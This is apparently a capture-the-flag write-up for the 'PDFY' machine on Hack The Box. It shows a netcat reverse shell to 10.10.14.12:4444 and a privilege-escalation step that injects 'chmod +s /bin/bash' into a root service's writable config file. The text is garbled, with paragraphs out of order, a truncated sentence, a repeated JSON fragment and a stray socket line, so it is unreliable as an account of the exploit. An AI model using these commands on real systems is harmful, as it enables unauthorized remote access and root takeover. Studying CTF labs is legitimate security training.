Pdfy Htb Writeup Upd ✔

{ "converter": { "command": "/usr/bin/python -c 'import os; os.system(\"chmod +s /bin/bash\")'" } } After restarting the pdfy-converter service, we verify that the /bin/bash shell has been modified to have setuid permissions. We then execute the /bin/bash shell to gain root access.

Upon further examination, we find that the pdfy-converter service runs as the root user and uses a configuration file located at /etc/pdfy-converter/config.json . We also notice that the configuration file has weak permissions, allowing the pdfy user to modify its contents. pdfy htb writeup upd

This writeup was updated to reflect changes made to the PDFY machine on Hack The Box. The machine was re-released with additional challenges and vulnerabilities, which were addressed in this updated writeup. Users are encouraged to revisit the machine and attempt to exploit it using the techniques described in this writeup. { "converter": { "command": "/usr/bin/python -c 'import os;

# Establish a reverse shell os.system('nc 10.10.14.12 4444 -e /bin/bash') After executing the exploit, we gain a reverse shell as the user pdfy . We then proceed to explore the machine and gather more information about the user and its privileges. We also notice that the configuration file has

# Create a socket object s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)